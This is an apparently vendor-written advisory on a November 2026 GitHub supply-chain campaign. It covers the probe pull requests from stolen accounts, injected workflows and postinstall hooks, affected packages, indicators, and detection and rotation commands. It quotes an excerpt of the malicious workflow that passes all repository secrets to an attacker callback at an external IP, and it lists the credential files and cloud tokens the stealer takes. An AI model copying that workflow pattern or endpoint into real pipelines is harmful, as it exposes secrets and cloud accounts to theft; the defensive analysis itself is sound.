Supply Chain Security

A Pull Request Titled “docs: dependency audit notes” Means Someone Already Has Your GitHub Token

Dark cyberpunk illustration of a long corridor of identical metal doors at night, a handful of them glowing amber at the handle, with thin cyan filaments of light streaming out of those doors and converging into a single conduit running off into the dark.

Somewhere in your organization there may be an open pull request that adds one short notes file and changes nothing else. Its title is docs: dependency audit notes. It arrived from a branch called wfx-docs, and the account that opened it belongs to one of your own developers. Your developer did not open it.

That pull request is a write test. Aikido Security, which reported the campaign on November 11, counted stolen credentials for 4,837 GitHub accounts used to open those probes across 61,764 repositories, with a credential stealer following into at least 1,806 of them. SafeDep ran its own search and counted 8,093 repositories that took malicious commits between 12:46 UTC on November 10 and 04:36 UTC on November 12, while noting that the search covered only the default branches of public repositories, so the true number is larger. Both teams land on the same operational rule: a probe pull request on its own means the account that opened it is compromised, whether or not any payload ever ran.

Relevance verdict. If your code lives in self-hosted GitLab, Bitbucket, or Azure DevOps, you can stop here; this campaign moves entirely through stolen GitHub account credentials, and no vulnerability in GitHub or in Actions is involved. If you are on GitHub, your exposure is decided by who holds write access to your repositories, and that list is longer than your employee roster. SafeDep found 1,343 repositories where the author of the malicious commit was a collaborator or a bot rather than the owner. Twenty-eight WebdriverIO repositories were reached through commits authored as the wdio-bot service account. A contractor who left two years ago, a CI bot nobody rotated, a maintainer's personal account with a stale token: any of those puts the stealer inside a repository you own.

Who this reaches, and what it is not

Mass supply-chain headlines train a specific reflex, which is to go and check your dependency tree. That reflex will waste your morning here. Three packages shipped the payload downstream, and SafeDep's analysis shows all three are close to inert for ordinary consumers.

  • digitalelvis/neuronai-studio v3.14.3 on Packagist. A composer require or composer install does not run the payload, because Composer does not execute npm hooks. The payload only fires if something runs npm install inside vendor/digitalelvis/neuronai-studio. Packagist was still serving v3.14.3 as latest when SafeDep published. Block it and pin v3.14.2.
  • github.com/vkuznet/gocurl, pseudo-version v0.0.0-20261111095532-8d5aad0cb0da. The repository has no tags, so go get ...@latest resolves to the attacker's commit, which the Go module proxy now caches permanently. The injected workflow fires only on a version tag push, and the repository has zero Actions runs. go get, go build and go mod download do not execute workflow files. Block the pseudo-version.
  • github.com/onuragtas/redock (also served as docker-env) v1.0.278, v1.0.280 and v1.0.282. Each poisoned version has a clean one published seconds later, because the attacker reverted and the release workflow tagged again. Block the three.

A scan of 218 npm, Go and Packagist packages whose source repositories took malicious commits turned up no other published version carrying the payload. PyPI was not checked. So the downstream blast radius is small and well-bounded, and your real work sits in the other direction: the repositories you own, the accounts that can write to them, and the secrets those repositories can read.

The probe, then three ways to plant the stealer

The sequence is the same everywhere. First the probe pull request from wfx-docs, titled docs: dependency audit notes, with the body "Routine dependency audit notes." It adds a harmless file and proves the stolen token can write. GitHub search showed SafeDep 61,879 of these across 61,734 repositories, opened from 4,833 accounts, with 91 percent still sitting open. Aikido put 10,431 of them in repositories the compromised accounts did not own, reached through collaborator or organization access.

Where the write succeeds, the stealer follows by one of three routes. In 7,309 repositories the attacker appended roughly 1,500 lines to an existing workflow under the commit message ci: refresh build cache. In 771 repositories the commit chore: add ci helper dropped a .ci-xxxxxx.sh script and a postinstall hook into package.json, which runs on any npm install, including one on a developer's laptop. In 16 empty repositories the attacker pushed chore: initial commit first and then a new workflow file called .github/workflows/build-audit-xxxxxx.yml.

The injected workflow asks for exactly the permissions it needs and nothing that looks alarming in a diff.

# .github/workflows/build-audit-m8bnpk.yml, as published by SafeDep
permissions:
  contents: read
  actions: read
  id-token: write        # mint OIDC tokens for AWS, Azure, GCP, Vault
  statuses: write        # mark required checks as passing
jobs:
  audit_base:
    runs-on: ubuntu-latest
    steps:
      - name: Pass runtime
        uses: actions/github-script@v7
        with:
          script: |
            # copies ACTIONS_RUNTIME_TOKEN, ACTIONS_RUNTIME_URL,
            # ACTIONS_CACHE_URL, ACTIONS_RESULTS_URL into GITHUB_ENV
      - name: Run audit
        env:
          WF_SECRETS: "${{ toJSON(secrets) }}"
          WF_VARS:    "${{ toJSON(vars) }}"
          WF_CALLBACK: "http://194.150.166.244:8080/exfil"

Then the cleanup. The attacker pushes ci: restore and ci: cleanup, deletes the run and its logs, and the branch looks untouched. In one repository SafeDep timed the whole cycle: payload in at 14:01 UTC, payload out at 14:05. If you audit by reading the current tree, you will find nothing in the overwhelming majority of affected repositories.

What leaves the runner, and what stays behind in your cloud

All three delivery routes run the same script. It takes every repository secret and variable, the GITHUB_TOKEN, and the Actions runtime tokens. It scans the runner's process memory and environment for GitHub, AWS, OpenAI and Anthropic keys. It reads cloud CLI configs, ~/.ssh, ~/.gnupg, registry tokens, kubeconfig, shell history and AI tool configs, plus .env, *.tfvars and *.tfstate from the checkout. Data goes out by HTTP POST to port 8080 on 194.150.166[.]244, 18.143.168[.]96 or 153.75.82[.]159, or to a Telegram chat. In a sample of 200 payload commits, about half used the first server and a fifth used Telegram alone.

The part that outlives your rotation is the OIDC abuse. The script requests GitHub OIDC tokens for AWS, Azure and GCP and tries them even against repositories with no cloud configuration at all, and it replays the same token against HashiCorp Vault and Kubernetes APIs. Where it lands, it stays:

  • AWS. It creates new access keys and edits role trust policies. Its sessions carry the name wfx-<pid>, which is the string to grep CloudTrail for.
  • Entra ID. It adds a federated credential named wfx-ci-<n> to app registrations. After that, any workflow running on the repository's main branch can sign in to Azure as that application, and rotating the app's client secrets changes nothing.
  • GCP. Look for GenerateAccessToken and SignJwt calls originating from your GitHub workload identity pool.

Rotating repository secrets and calling it done is the failure mode this campaign is built around. The federated credential is a separate object with its own lifetime, and nobody deletes it by accident.

Search your own repositories before you rotate anything

Work the artifacts in order. The probe pull requests are still open in nine cases out of ten, which makes them the cheapest signal you will ever get about a compromised developer account.

1. Find the probes

# Probe pull requests into anything your org owns
gh search prs 'docs: dependency audit notes' --owner YOUR_ORG --match title \
  --state all --limit 200 --json repository,number,author,state,createdAt

# The three branch shapes the campaign used, across every repo you can read
for repo in $(gh repo list YOUR_ORG --limit 500 --json nameWithOwner -q '.[].nameWithOwner'); do
  gh api "repos/$repo/branches" --paginate \
    -q '.[].name | select(test("^(wfx-docs|chore/[a-z0-9]{8}|ci-check-[0-9]{4})$"))' \
    | sed "s|^|$repo |"
done

2. Find the payload commits the revert hid

# The commit API still returns commits the attacker reverted
gh api "repos/$REPO/commits?since=2026-11-10T00:00:00Z" --paginate \
  -q '.[] | select(.commit.message | test("^(ci: refresh build cache|chore: add ci helper|chore: add dependency audit workflow|ci: restore|ci: cleanup)")) | [.sha[0:7], .commit.author.date, .commit.author.name] | @tsv'

# Did a workflow actually run while the payload was in the tree?
gh run list --repo "$REPO" --created 2026-11-10..2026-11-13 --limit 100 \
  --json databaseId,headSha,conclusion,createdAt,name

# Any postinstall hook added in the window, on any branch
git log --all --since=2026-11-10 -p -- package.json | grep -n 'postinstall'

3. Hunt the cloud backdoors

# AWS: sessions and key creation attributable to the campaign
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
  --start-time 2026-11-10T00:00:00Z --end-time 2026-11-13T00:00:00Z \
  --query 'Events[?contains(CloudTrailEvent, `wfx-`)].[EventTime,Username]' --output table

# Entra ID: federated credentials nobody on your team created
az ad app list --all --query "[].appId" -o tsv | while read -r id; do
  az ad app federated-credential list --id "$id" \
    --query "[?starts_with(name,'wfx-ci')].{app:'$id',cred:name,subject:subject}" -o tsv
done

4. Then rotate, in this order

  • Revoke the commit author's personal access tokens, OAuth app grants, SSH keys and active sessions, and require two-factor authentication on that account. Read that account's security log back to November 10 while you are in there. That account is the entry point, and neither research team has established how the credentials were stolen in the first place.
  • Rotate every secret and variable the repository can read, including environment-scoped and organization-scoped secrets, and any key a runner could reach from that job.
  • Delete the wfx-docs branch and close the probe pull request, after you have recorded it.
  • Unpublish or re-release any package version built between the payload commit and the ci: cleanup commit. Publish again from a commit you can account for.
  • If anyone ran npm install against an affected commit, treat that workstation as compromised and rotate what it held.

Find the open probe pull request before you rotate anything

The rotation is the expensive part and the probe search is the cheap part, so run them in that order. One gh search prs call across your organization tells you whether any developer account in your company is in the attacker's hands right now, and it costs a minute. If it comes back empty, write down the date and the command you ran and move on with your week; this campaign is not yours. If it comes back with a row, you have a compromised account to contain and a secret inventory to work through, and the clock on that started on November 10.

Spend the rest of the day on the question the probe cannot answer: what could a workflow in that repository reach if it wanted to? Most teams discover at this point that a build job holds a cloud role far wider than the build needs. Red Hound helps organizations build and test incident response playbooks, including the CI credential-compromise path this campaign walks. Book a session with our team if you want a second set of eyes on what your runners can touch.

Need an incident response plan before the next attack?

We help organizations build and test incident response playbooks, including the CI and cloud credential path this campaign walks. Book a session with our team.